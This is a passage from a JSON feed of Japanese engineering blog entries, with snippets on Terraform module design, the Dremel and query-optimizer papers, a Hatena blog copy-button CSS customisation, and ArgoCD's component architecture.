Systemsの講義資料・動画を振り替えることで、BigQueryやRedShift、Snowflakeといった最新の分析用データベースがどのように優れたパフォーマンスを実現しているかを考え...","link":"https://zenn.dev/nnaka2992/articles/technics_behind_analytical_database","isoDate":"2023-05-25T00:02:49.000Z","dateMiliSeconds":1684972969000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の運用効率化を ChatGPT-4 で実現する 障害対応編","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上秀一です。 Sreake事業部はSRE関連技術に強みを持つエンジニアによるコンサルテーションサービスを提供する事業部であり、私たちもSRE技術の調査と研究 […]The post Kubernetes の運用効率化を ChatGPT-4 で実現する 障害対応編 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-operation-with-chatgpt4/","isoDate":"2023-05-22T23:46:38.000Z","dateMiliSeconds":1684799198000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraform Modules で再利用できるので最高ではないでしょうか？","contentSnippet":"概要ModuleはTerraformの複数のリソースをまとめて再利用可能な単位として扱うことができます。Moduleを使うことで複雑なリソース構成を抽象化し、システムの構造の把握やリソース構成の再利用が可能になり、読みやすさや可読性が向上し、修正箇所が単一になるなどのメリットがあります。ただし、理解には初期コストが必要です。Moduleの設計では、1つの機能を持つように小さくシンプルに保つことが重要で、それが難しい場合は大抵複雑と言えます。また、公式のModuleを利用することで、自身で定義やドキュメントの整備、メンテナンスの手間を省きつつ、プロジェクトを超えて共通認識として扱えるため、Module理解のコストが減ります。しかし、どのタイミングでModuleに組み込むかの正解は、個々のプロジェクトの特性や開発チームの状況により大いに変わるでしょう。絶えず試行錯誤を繰り返しながら個々のプロジェクトごとに最適な解を見つけることが求められます。このブログではそれらの話の前にTerraform Modulesについて利用方法をまとめてみました。概要Module を利用するmoduleの使い方moduleの入力ローカルをうまく利用するmoduleの出力module を使ったときの失敗についてバージョン状態の差分は可能な限り小さくすべきアップグレードは自動されるべきファイルパスインラインブロックいい感じのデフォルトの変数最後に参考Module を利用するシステムを構築するにあたって開発、検証、本番環境をそれぞれ用意することが多いですが、Terraformを環境ごと（例：開発環境、ステージング環境、本番環境）にシンプルなWebサーバーの構成を例にしてModuleを使わないときと使ったときの構成を比較してみましょう。Terraform Configuration|--- Development Environment| |--- VM Instances (Web servers)| |--- Firewall Rules (Allow HTTP/HTTPS traffic to the web servers)| |--- Load Balancer (Balance traffic among VM instances)| |--- Storage Bucket (Store static content)|--- Staging Environment| |--- VM Instances (Web servers)| |--- Firewall Rules (Allow HTTP/HTTPS traffic to the web servers)| |--- Load Balancer (Balance traffic among VM instances)| |--- Storage Bucket (Store static content)|--- Production Environment| |--- VM Instances (Web servers)| |--- Firewall Rules (Allow HTTP/HTTPS traffic to the web servers)| |--- Load Balancer (Balance traffic among VM instances)| |--- Storage Bucket (Store static content)この構成では、 環境毎にVM Instances 、Firewall Rules 、 Load Balancer 、Storage Bucket などのリソースが定義されていて環境間で異なるリソース設定を利用します。一方、moduleを使用した場合の構成は以下のようになります。Terraform Configuration|--- modules| |--- user_service_cluster| |--- main.tf| | |--- VM Instances (Web servers)| | |--- Firewall Rules (Allow HTTP/HTTPS traffic to the web servers)| | |--- Load Balancer (Balance traffic among VM instances)| | |--- Storage Bucket (Store static content)| |--- variables.tf| |--- output.tf|--- Development Environment| |--- User-Service-Cluster Module (source: ../modules/user_service_cluster)|--- Staging Environment| |--- User-Service-Cluster Module (source: ../modules/user_service_cluster)|--- Production Environment| |--- User-Service-Cluster Module (source: ../modules/user_service_cluster)この構成では、 user_service_cluster moduleのmain.tfファイル内にVM Instances 、Firewall Rules 、 Load Balancer 、Storage Bucket などのリソースが定義されています。各環境はこのuser_service_clustermoduleを参照しており、環境間で共通のリソース設定を再利用します。これによって再利用性、可読性が上がり維持管理性を高める事ができると思います。moduleの使い方Terraformの moduleは、リソース設定の再利用可能な部品で、コードの抽象化と組織化をサポートします。 moduleは一つ以上のリソースを定義し、それらをまとめて管理することができます。 moduleを使用するためには、 moduleブロックをmain.tf（またはその他の.tfファイル）に追加し、そこでmoduleのソースと任意の入力変数を指定します。以下に、user_service_cluster moduleを使用するための基本的なmodule ブロックの例を示します。module \\"user_service_cluster\\" { source = \\"../modules/user_service_cluster\\" instance_type = \\"n1-standard-1\\" instance_count = 3 firewall_rules = { allow_http = true allow_https = true } load_balancer_config = { protocol = \\"HTTP\\" port = 80 } bucket_name = \\"dev-bucket\\"}source属性にmoduleのソースコードが存在するパスを指定しています。そして、user_service_cluster moduleが定義する各入力変数を設定しています。moduleは、そのソース内でvariableブロックを使用して入力変数を定義します。これらの入力変数は、moduleの使用者が値を提供することでmoduleの振る舞いをカスタマイズできます。また、moduleはoutputブロックを使用して出力値を定義します。出力値は、moduleの内部リソースの属性をmoduleの外部に公開するために使用されます。これにより、他のリソースやmoduleがmoduleから生成されるリソースを参照することが可能になります。module化はTerraformのコードベースを組織化し、再利用可能なコードを作成するための重要な手段です。これにより、一貫性が保たれ、メンテナンスが容易になり、エラーの可能性も低減します。moduleの入力Terraformのmoduleは再利用可能なコードブロックで、入力変数（input variables）を使用してカスタマイズできます。これらの入力変数は、moduleブロックで設定します。以下に、user_service_cluster moduleで使用する入力変数の例を示します。まず、module自体のvariables.tfファイルには以下のように入力変数を定義しますvariable \\"instance_type\\" { description = \\"The type of instance to start\\" type = string default = \\"n1-standard-1\\"}variable \\"instance_count\\" { description = \\"Number of instances to create\\" type = number default = 1}variable \\"firewall_rules\\" { description = \\"Firewall rules for instances\\" type = map(any) default = {}}variable \\"load_balancer_config\\" { description = \\"Configuration for load balancer\\" type = map(any) default = {}}variable \\"bucket_name\\" { description = \\"Name of the storage bucket\\" type = string default = \\"default-bucket\\"}そして、このmodule を呼び出す際に、具体的な値を設定します：module \\"user_service_cluster\\" { source = \\"../modules/user_service_cluster\\" instance_type = \\"n1-standard-1\\" instance_count = 3 firewall_rules = { allow_http = true allow_https = true } load_balancer_config = { protocol = \\"HTTP\\" port = 80 } bucket_name = \\"dev-bucket\\"}上記の例では、user_service_cluster moduleはsourceで指定されたソースからロードされ、instance_type、instance_count、firewall_rules、load_balancer_config、bucket_nameという入力変数を設定しています。module に入力変数を提供することで、module の動作をカスタマイズし、異なる環境や条件で再利用することが可能になります。ローカルをうまく利用するTerraformのlocalsブロックを使用すると、再利用可能な内部変数をmodule内で定義することができます。localsはmodule内で共有され、module外からは参照できません。以下に、user_service_cluster module のlocalsの例を示します。この例では、HTTPポート、任意のポート、任意のプロトコル、TCPプロトコル、そして全てのIPアドレスをローカル変数として定義しています。locals { http_port = 80 any_port = 0 any_protocol = \\"-1\\" tcp_protocol = \\"tcp\\" all_ips = [\\"0.0.0.0/0\\"]}ローカル変数はlocal.の形式で参照します。以下のリソース定義では、ロードバランサーリスナーとセキュリティグループの設定にローカル変数を使用しています。resource \\"google_compute_instance\\" \\"http\\" { name = \\"web-instance\\" machine_type = \\"n1-standard-1\\" network_interface { network = \\"default\\" access_config { // Assign an ephemeral IP to the instance } } // Other configuration...}resource \\"google_compute_firewall\\" \\"default\\" { name = \\"default-firewall\\" network = \\"default\\" allow { protocol = local.tcp_protocol ports = [local.http_port] } source_ranges = local.all_ips}上記の例では、ロードバランサーリスナーとセキュリティグループでlocalsブロックに定義したローカル変数を参照しています。local.http_port、local.tcp_protocol、local.all_ipsを各リソースブロックで参照することで、コードがDRYに保たれ、より読みやすく、メンテナンスがしやすくなります。localsブロックを使用することで、コードの冗長性を減らし、module全体の一貫性を保つことができます。また、ローカル変数を使用することで、moduleの一部で使用する変数をmodule全体で共有することが可能になります。moduleの出力Terraformのmoduleは、出力変数（outputs）を提供できます。出力変数はmoduleの値を外部に公開するための手段で、moduleを使用しているコードからアクセスできます。また、Terraformがapplyコマンドを実行した後にこれらの値を表示することもできます。以下に、user_service_cluster moduleの出力変数の例を示します。この例では、output.tf にクラスタのURLとインスタンスのIDを出力しています。output \\"cluster_url\\" { description = \\"The URL of the load balancer for the cluster\\" value = \\"http://${google_compute_global_address.default.address}\\"}output \\"instance_ids\\" { description = \\"The IDs of the instances in the cluster\\" value = google_compute_instance.default.*.id}これらの出力をmodule の使用側でアクセスするためには、moduleの名前と出力の名前を組み合わせて参照します。output \\"user_service_cluster_url\\" { description = \\"The URL of the load balancer for the user service cluster\\" value = module.user_service_cluster.cluster_url}output \\"user_service_cluster_instance_ids\\" { description = \\"The IDs of the instances in the user service cluster\\" value = module.user_service_cluster.instance_ids}このようにして、moduleの出力変数を使用することで、moduleの内部データをmodule外部に公開し、他のTerraformコードがそのデータを参照できるようにします。出力変数はmodule間の情報共有を可能にし、moduleの再利用性を向上させます。Terraformはファイル名に特別な意味を持たせません。すなわち、variables.tfやoutputs.tfという名前は慣習にすぎないので、入力変数と出力変数を1つのファイルにまとめることも技術的には可能です。module を使ったときの失敗についてmodule を作る時に注意する点について実際にハマったことをベースに3つ紹介します。バージョンModuleのバージョンが異なると意図しない挙動やエラーが引き起こされる可能性があるので、バージョンを固定し実行環境を統一しましょう。Providerやパッケージにしても同じでバージョンを指定して再利用性を高めろ！！！状態の差分は可能な限り小さくすべきいつでもアップグレードを状態差分なしで行うことはできません。依存するリソースの変更やセキュリティ問題ができるだけ早くパッチを適用する必要があるなど、破壊的な変更を導入する必要がある場合があります。その場合、コストをどのように減らすかについて考える必要があります。状態の差分が少なければ、アップグレードのコストは少なくなります。破壊的な変更を導入するときは、それを文書化できるCHANGELOGやユーザーガイドを通じてユーザーに伝える必要がありますアップグレードは自動されるべきアップグレードは長期的に開発されるソフトウェアの最も重要なタスクの一つです。ただし、一般的に使用され、広く使用されているTerraform Moduleの場合、これは大きな問題でもあります。また、Moduleを頻繁に更新する場合、自動アップデートの機能を準備する必要があります。ユーザーにアップグレードを依頼しても、通常、彼らはより重要なタスクを行うためにそれを行うことはありません。そのため、代わりに、彼らのためにPRを作成します。PRがTerraformの差分がない場合に自動的にマージされるメカニズムを持っています。これと後方互換性の維持の組み合わせにより、最新バージョンのModuleを使用するユーザーの率を増やすことができますファイルパスTerraformのtemplatefile関数を使用する際、ファイルパスは絶対パスではなく相対パスを使用する必要があります。しかし、これはどのパスに対して相対的なのでしょうか？デフォルトでは、Terraformはパスを現在の作業ディレクトリに対して相対的に解釈します。そのため、terraform applyを実行しているディレクトリと同じディレクトリにTerraform設定ファイルがある場合、これはうまく動作します。しかし、別のフォルダに定義されたmodule内でtemplatefileを使用する場合、これは問題となります。この問題を解決するためには、path.moduleなどのパス参照を使用します。これを使用すると、module自体に対する相対パスが得られます。インラインブロックTerraformリソースの一部の設定は、インラインブロックか別のリソースとして定義することができます。インラインブロックとは、リソース内で設定する引数のことで、次の形式を持っています。resource \\"xxx\\" \\"yyy\\" { { [CONFIG...] }}ここでNAMEはインラインブロックの名前（例えば、ingress）、CONFIGはそのインラインブロックに特有の一つ以上の引数（例えば、from_portやto_port）です。しかし、インラインブロックと別のリソースを混在して使用すると、Terraformの設計上、設定が衝突し互いに上書きされてエラーが発生します。したがって、どちらか一方を使用する必要があります。moduleを作成する際には、別のリソースを使用することを常に推奨します。これらの注意点を理解しておくことで、Terraformのmoduleをより効果的に利用することができます。いい感じのデフォルトの変数完全にカスタマイズできるModuleには魅力がないです。Moduleの変数には、80％のユーザーをカバーするスマートデフォルト値を持つべきです。ただし、同時に、通常のユーザーとは異なる方法でModuleを使用するパワーユーザーのための設定も用意するべきです。変数を変更したときに何が起こるかは、ユーザーにとって明白で予測可能でなければなりません。この設定は適切に設計され、安易に浅いインターフェースを持つべきではありません最後にmoduleを活用することで、インフラストラクチャの再利用性と効率性が大幅に向上します。開発者は証明済み、テスト済み、文書化済みのインフラストラクチャの一部を再利用できるようになるため、迅速かつ確実にシステムを構築できます。例えば、マイクロサービスのデプロイメントを定義するmoduleを作成し、各チームが数行のコードで自身のマイクロサービスを管理できるようにすることが可能です。しかし、このようなmoduleを複数のチームで活用するためには、module内のTerraformコードは柔軟性と設定可能性が必要です。異なるチームや状況に応じて、ロードバランサーなしの単一インスタンスやロードバランサー付きの複数インスタンスといった、さまざまなデプロイメント要件を満たすことができます。Terraformの柔軟な構文を活用することで、より多機能なmoduleを設計し、インフラストラクチャの構築を一層楽しく効果的に行うことができます。また、どれぐらいの規模からmodule化するのかなど迷う場面が多いと思いますがこの辺は経験としか言えずにみんな雰囲気でやっているなぁって思いました。このブログが伸びたらもっと実装に基づいた話をしていこうと思います。ちなみにベストプラクティスなんかは俺にはわからない。自分を信じても…信頼に足る仲間を信じても…誰にもわからない…今の構成が一番変更しやすくて誇れるものならそれが正解なんだとおもう。実践Terraform　AWSにおけるシステム設計とベストプラクティス (技術の泉シリーズ（NextPublishing）)作者:野村 友規インプレスR&DAmazon参考Terraform: Up & Running; Writing Infrastructure As CodeDeveloper/Terraform/Configuration Language/Modulesterraform-module/terraform-module-blueprinthttps://registry.terraform.io/namespaces/terraform-aws-moduleshttps://registry.terraform.io/namespaces/terraform-google-modulesHashiCorp LearnModule Creation - Recommended PatternAWSとTerraformで学ぶプロダクションレディなKubernetes 技術の泉シリーズ (技術の泉シリーズ（NextPublishing）)","link":"https://syu-m-5151.hatenablog.com/entry/2023/05/19/154346","isoDate":"2023-05-19T06:43:46.000Z","dateMiliSeconds":1684478626000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"GitLab トラブル事例紹介","contentSnippet":"本ドキュメントでは、トラブルシューティングの事例を取り上げ、それぞれのトラブルの原因調査の流れと判明した原因、解決方法について記載します。 また、トラブルシューティングを円滑に進められるように心がけていることをご紹介しま […]The post GitLab トラブル事例紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gitlab-trouble-case-study/","isoDate":"2023-05-16T02:23:30.000Z","dateMiliSeconds":1684203810000,"authorName":"Sreake","authorId":"Sreake"},{"title":"現在のDremelの実装を解説した論文を読みました ","contentSnippet":"この記事の趣旨2020年に発表されたBigQueryの元となったGoogle内で利用されている分析向けデータベースであるDremelの実装を解説した論文を読みました。Dremel: A Decade of Interactive SQL Analysis at Web Scale著者についてSergey Melnik, Andrey Gubarev, Jing Jing Long, Geoffrey Romer, Shiva Shivakumar, Matt Tolton,Theo Vassilakisら2010年のDremel発表論文の著者らと、Hossein Ahmadi, Dan Delorey, Slava Min, Mosha Pasumansky, Jeff ShuteらGoogleで分析ワークロードと分散処理に関わる著者らによる論文。概要BigQueryの元となったGoogleのDremelの10年間を振り替えってアーキテクチャについて説明した論文。Dremelは現代のクラウドネイティブ分析ツールで一般的になっている、計算リソースとストレージの分解、カラムナストレージ、in situデータ分析などを統合した最初のツールである。手法SQLの採用Googleでは殆どのデータはBigTableなどNoSQLデータベースで管理されていたため、SQLを用いないデータアクセスが主流であった。しかしトランザクション型ビッグデータシステムにおける、SQLの採用に共ないDremelでもSQLを採用した。ストレージの分離メモリの分離MapReduceのシャッフルのボトルネックを回避するためにDisaggregated Memory Shuffle Systemを採用した。In situデータ分析への対応DBMSへのデータロードを必要としないデータ分析のことで、DremelではGFSに移行するときにGoogle内で共有のストレージフォーマットを使用することでGoogle内のデータに対応した。加えてGoogle Cloud StorageやGoogle Drive、MySQL、BigTableなどからのデータ取得もフェデレーションとして対応した。サーバレスアーキテクチャフォールトトレラントリスタート、仮想スケジューリングユニットによりマルチテナントかつオンデマンドなリソースを提供可能とし、低価格な利用を可能とした。現在ではサーバレスアーキテクチャを進化させ、集中型スケジューリングやShuffle Persistent Layer、柔軟なDAG実行、動的クエリ実行などを実装することでより優れたサーバレスアーキテクチャを実現した。ネストデータにおけるカラムナストレージ[[32])]Figure 5Figure 6Figure 7クエリレイテンシの最小化インタラクティブな実行のレイテンシは大きくなる。それを解決するためにDremelではスタンバイサーバプール、マルチレベル実行ツリー、列指向スキーマ表現、CPUとIO負荷のバランス調整、ファイルオペレーションの再利用、保証されたキャパシティ、適合的なクエリスケーリングにより実現している。作業時間read27:5027:50author32:024:12summary68:5026:48","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/17_dremel","isoDate":"2023-05-15T02:14:20.000Z","dateMiliSeconds":1684116860000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Connection draining for Service type LoadBalancer","contentSnippet":"はじめにService リソースは Kubernetes のサービス検出を支えるコアリソースです。Service のデータプレーンとして kube-proxy を使用している場合は、各ノード上の iptables や ipvs を設定することで L4 負荷分散を実現しています。Kubernetes は、結果整合性 (Eventual Consistency) の上に成り立つ分散システムです。Kubernetes のコントロールプレーンが Pod を削除する時に、全てのノード上のルーティングルールを更新してから Pod を削除したりはしません。削除中の Pod にもトラフィックが流...","link":"https://zenn.dev/toversus/articles/1682d275ef1bb7","isoDate":"2023-05-11T09:43:47.000Z","dateMiliSeconds":1683798227000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"2022 年の Accelerate State of DevOps Report の内容をまとめてみた","contentSnippet":"１．はじめに Sreake 事業部でインターンしている村山です。インターンをするにあたり、DevOps の理解と最近の動向を掴むことが必要であると感じ、Accelerate State of DevOps Report […]The post 2022 年の Accelerate State of DevOps Report の内容をまとめてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/accelerate-state-of-devops-report-2022/","isoDate":"2023-05-11T05:07:56.000Z","dateMiliSeconds":1683781676000,"authorName":"Sreake","authorId":"Sreake"},{"title":"TiDBで学ぶNewSQLのアーキテクチャ for Beginners","contentSnippet":"はじめにこの記事ではNewSQLの特徴であるノード間の分散とトランザクションや分断耐性などがTiDBではどのような技術によって実現されているかを説明することを目的としています。Spannerの論文が2012年に発表されてから10年以上の年月が流れ、優れた論文や実装ドキュメント、個人による解説ブログなど技術的詳細について述べた資料は多くあります。加えてこの記事を入門的なものと位置づけているため各コンポーネントを網羅的に解説するというよりは、キーコンセプトをどのように実装しているのかを実験を混じえながら動作の実現方法の解説を中心に扱います。また今回はTiDBをベースに説明し...","link":"https://zenn.dev/nnaka2992/articles/learning_tidb_internal_for_beginner","isoDate":"2023-05-11T01:18:19.000Z","dateMiliSeconds":1683767899000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"はてなブログのコードブロックを”クリップボードにコピーする方法”について","contentSnippet":"はてなブログの設定から、Markdown記法で書いた記事にコードブロックのコピーボタンを自動的に追加することができます。また、こちらのブログは完全に非公式ですし自分のブログ以外では試してません。\uD83E\uDDBE デザインの設定まず、はてなブログの管理画面にログインし、デザイン設定を開きます。\uD83E\uDDBE CSS の設定を行うデザイン設定で、「カスタマイズ」タブをクリックし、「デザインCSS」を開きます。ここで、先ほど紹介したコピーボタンのスタイルを追加します。pre.code { position: relative;}.copy-button { position: absolute; top: 4px; right: 4px; display: inline-block; padding: 8px 16px; border: none; border-radius: 4px; background-color: #1e90ff; color: #ffffff; cursor: pointer; font-size: 14px; font-weight: bold; text-decoration: none; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); transition: background-color 0.3s, box-shadow 0.3s; opacity: 0; transition: opacity 0.3s;}pre.code:hover .copy-button { opacity: 1;}.copy-button:hover { background-color: #2980b9; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.4);}.copy-button:focus { outline: none;}.copy-button:active { box-shadow: none; transform: translateY(2px);}\uD83E\uDDBE フッターHTMLの設定を行う 次に、「カスタマイズ」タブの「フッターHTML」に、以下のコードを追加します。\uD83D\uDD0D 確認していくhttps://syu-m-5151.hatenablog.com/entry/2023/04/11/084428 にて確認","link":"https://syu-m-5151.hatenablog.com/entry/2023/05/09/181943","isoDate":"2023-05-09T09:19:43.000Z","dateMiliSeconds":1683623983000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"クエリオプティマイザの精度を検証した論文を読みました","contentSnippet":"この記事の趣旨2015年に発表されたクエリオプティマイザにおけるカーディナリティ推定とコストモデル、列挙アルゴリズムの貢献度を評価した論文を読んでいきます。How Good Are Query Optimizers, Really?著者についてViktor Leis、Andrey Gubichev、Atanas Mirchev、Peter Boncz、Alfons Kemper、Thomas Neumannらのグループによる論文。ほとんどのメンバーはDBMSにおける最適化について研究しているが、Atanas Mirchevはより統計や探索といった最適化よりの研究をしている。問題意識良い結合順序を見つけることはクエリの性能に対して大きな影響を与えるため、熱心に研究されてきた。古典的なクエリ最適化のアプローチでは以下のステップで動的計画方に基づいた最適化を行なう。1. 有効な結合順序の列挙1. カーディナリティ推定値を入力としたコストモデルの選択理論的にはカーディナリティとコストモデルの推定値が正確であれば、最適なクエリプランを選択することができる。しかし現実にはカーディナリティ推定は一様性や独立性といった単純化された仮定に基づいており、しばしばそのような仮定は間違っているため悲惨な計画を作成する。手法この論文ではカーディナリティ推定器の評価と正確なコストモデルの重要性の評価、そして列挙された結合順序の空間がどの程度影響するのかを以下の方法で検証し、貢献を行なっている。1. IMDBデータを用いたJoin Order BenchmarkというJOINにフォーカスしたベンチマークによる評価を行なう1. 実世界のデータセットにおける現実的なクエリを用いたE2Eの検証を行なう。1. クエリ性能に対するカーディナリティ・コストモデル・列挙アルゴリズムの貢献度を定量化し、最適なクエリプラン生成のためのガイドラインを策定している。作業時間read29:3829:38author33:083:30summary48:4414:36感想時間が無くまとめ途中で切り上げてしまった。やらないよりマシではあるものの、ちゃんと纏めるときにくらべて理解度に影響が出そうなので時間に余裕を持っておきたい。内容自体はGW中にPostgreSQLの実装を読んでいたこともあり、わりと理解しやすかった。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/16_query_optimization_performance","isoDate":"2023-05-08T02:13:43.000Z","dateMiliSeconds":1683512023000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.27] Dynamic Resource Allocation のいま","contentSnippet":"!Kubernetes 1.27 時点でアルファ機能のため、実装が大きく変わる可能性があります。 はじめにKubeCon Europe 2023 で KEP-3063 Dynamic Resource Allocation (DRA) についての深い話と DRA Resource Driver の実装方法の話があったので、kubernetes-sigs/dra-example-driver をベースに触りながら検証してみました。toVersus/fake-dra-driver で公開しています。Device Plugins 2.0: How to Build a Drive...","link":"https://zenn.dev/toversus/articles/fe2aa06f133b49","isoDate":"2023-05-06T02:11:55.000Z","dateMiliSeconds":1683339115000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"【ArgoCD\uD83D\uDC19】ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️ArgoCDのアーキテクチャを構成するコンポーネントの種類についてArgoCDがマニフェストを自動デプロイする仕組みについてこの記事から得られる知識01. はじめに02. 概要アーキテクチャレイヤーコンポーネント仕組み(1) repo-serverによるクローン取得(2) application-controllerによるマニフェスト取得(3) application-controllerによるCluster確認(4) application-controllerによる処理結果保管(5) argocd-serverによるキャッシュ取得(6) 管理者のログイン(7) IDプロバイダーへの認証フェーズ委譲(8) dex-serverによる認証リクエスト送信(9) argocd-serverによる認可フェーズ実行(10) application-controllerによるマニフェストデプロイ03. repo-serverrepo-serverとは仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピー(2) repo-serverによる認証情報取得(3) repo-serverのよるクローン取得とポーリング(4) repo-serverによるサイドカーコール(5) repo-serverによる暗号化キーと暗号化変数の取得(6) サイドカーによるプラグイン処理の取得(7) サイドカーによるプラグイン処理の実行04. application-controller、redis-serverapplication-controllerとはredis-serverとは仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンド(2) application-controllerによるArgoCD系カスタムリソースのReconciliation(3) application-controllerによるマニフェスト取得(4) application-controllerによるヘルスチェック(5) application-controllerによるマニフェスト差分検出(6) application-controllerによる処理結果保管(7) application-controllerによるマニフェストデプロイ05. dex-serverdex-serverとは仕組み(1) プロダクト用Cluster管理者のログイン(2) IDプロバイダーへの認証フェーズ委譲(3) dex-serverによる認可リクエスト作成(4) dex-serverによる認可リクエスト送信(5) IDプロバイダーによる認証フェーズ実施(6) argocd-serverによる認可フェーズ実施06. argocd-server (argocd-apiserver)argocd-serverとは仕組み(1) application-controllerによるヘルスチェック(2) application-controllerによるマニフェスト差分検出(3) application-controllerによる処理結果保管(4) application-controllerによる処理結果取得(5) プロダクト用Cluster管理者のログイン(6) Ingressコントローラーによるルーティング(7) IDプロバイダーへの認証フェーズ委譲(8) IDプロバイダーによる認証フェーズ実施(9) argocd-serverによる認可フェーズ実施(10) application-controllerによるマニフェストデプロイ07. アーキテクチャのまとめ08. おわりに謝辞01. はじめにロケットに乗るタコのツラが腹立つわー。画像引用元：Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19とAWS EKSをリプレイスしました。今回は、採用した設計プラクティスの紹介も兼ねて、ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組みを記事で解説しました。ArgoCDは、kubectlコマンドによるマニフェストのデプロイを自動化するツールです。ArgoCDのアーキテクチャには変遷があり、解説するのは執筆時点 (2023/05/02) 時点で最新の 2.6 系のArgoCDです。アーキテクチャや仕組みはもちろん、個々のマニフェストの実装にもちょっとだけ言及します。それでは、もりもり布教していきます\uD83D\uDE1702. 概要アーキテクチャレイヤーまずは、ArgoCDのアーキテクチャのレイヤーがどのようになっているかを見ていきましょう。ArgoCD公式から、コンポーネント図が公開されています。図から、次のようなことがわかります\uD83D\uDC47下位レイヤー向きにしか依存方向がなく、例えばコアドメインとインフラのレイヤー間で依存性は逆転させていない。レイヤーの種類 (UI、アプリケーション、コアドメイン、インフラ) とそれらの依存方向から、レイヤードアーキテクチャのような構成になっている。特にコアドメインレイヤーが独立したコンポーネントに分割されており、マイクロサービスアーキテクチャを採用している。argo-cd/docs/developer-guide/architecture/components.md at master \xb7 argoproj/argo-cd \xb7 GitHubアーキテクチャは、機能単位の分割方法を採用していると推測しています。本記事では詳しく言及しませんが、マイクロサービスアーキテクチャの分割方法には大小いくつかの種類があり、境界付けられたコンテキストで分割することがベタープラクティスと言われています\uD83D\uDE0E(境界付けられたコンテキストについても、ちゃんと記事を投稿したい...)機能単位による分割は、境界付けられたコンテキストのそれよりも粒度が小さくなります。Monolith to Microservices: Evolutionary Patterns to Transform Your Monolith (English Edition)ArgoCDでは、マイクロサービスアーキテクチャの設計図にコンポーネント図を使用しています。コンポーネント図では、依存方向 (そのコンポーネントがいずれのコンポーネントを使用するのか) に着目できます。そのため、これはマイクロサービス間の依存方向を視覚化するために有効なUML図です\uD83D\uDE46\uD83C\uDFFB‍Component Diagrams - Code With Engineering Playbookコンポーネント次に、コンポーネントの種類を紹介します。ArgoCDの各コンポーネントが組み合わさり、マニフェストの自動的なデプロイを実現します。ArgoCD (2.6系) のコンポーネントはいくつかあり、主要なコンポーネントの種類とレイヤーは以下の通りです\uD83D\uDC47 コンポーネント レイヤー 機能 argocd-server(argocd-apiserver) UI・アプリケーション みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能します。現在、複数のレイヤーの責務を持っており、将来的にUIとアプリケーションは異なるコンポーネントに分割されるかもしれません。 application-controller コアドメイン Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。 repo-server コアドメイン マニフェスト/チャートリポジトリからクローンを取得します。また、クローンからマニフェストを作成します。 redis-server インフラ application-controllerの処理結果のキャッシュを保管します。 dex-server インフラ SSOを採用する場合、argocd-serverの代わりに認可リクエストを作成し、IDプロバイダーにこれを送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。 GitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。仕組みそれでは、ArgoCDは、どのようにコンポーネントを組み合わせて、マニフェストをデプロイするのでしょうか。ここではプロダクト用Cluster管理者 (デプロイ先となるClusterを管理するエンジニア) は、ArgoCDのダッシュボードを介してマニフェストをデプロイするとしましょう。まずは、概要を説明していきます。(1) repo-serverによるクローン取得ArgoCDのCluster上で、repo-serverがマニフェスト/チャートリポジトリのクローンを取得します。(2) application-controllerによるマニフェスト取得application-controllerは、repo-serverからマニフェストを取得します。(3) application-controllerによるCluster確認application-controllerは、プロダクト用Clusterの現状を確認します。(4) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(5) argocd-serverによるキャッシュ取得argocd-serverは、redis-serverからキャッシュを取得します。(6) 管理者のログインプロダクト用Cluster管理者は、argocd-serverにログインしようとします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。(8) dex-serverによる認証リクエスト送信dex-serverは、IDプロバイダーに認可リクエストを作成し、これをIDプロバイダーに送信します。(9) argocd-serverによる認可フェーズ実行argocd-serverで認可フェーズを実施します。ログインが完了し、プロダクト用Cluster管理者は認可スコープに応じてダッシュボードを操作できます。(10) application-controllerによるマニフェストデプロイapplication-controllerは、Clusterにマニフェストをデプロイします。マニフェストのデプロイの仕組みをざっくり紹介しました。ただこれだと全く面白くないため、各コンポーネントの具体的な処理と、各々がどのように通信しているのかを説明します✌️03. repo-serverrepo-serverとはまずは、コアドメインレイヤーにあるrepo-serverです。マニフェスト/チャートリポジトリ (例：GiHub、GitHub Pages、Artifact Hub、AWS ECR、Artifact Registry、など) からクローンを取得します。repo-serverを持つPodには、他に軽量コンテナイメージからなるInitContainerとサイドカー (cmp-server) がおり、それぞれ機能が切り分けられています\uD83D\uDC4D仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピーrepo-serverの起動時に、InitContainerでお好きなマニフェスト管理ツール (Helm、Kustomize、など) やプラグイン (helm-secrets、KSOPS、SOPS、argocd-vault-plugin、など) 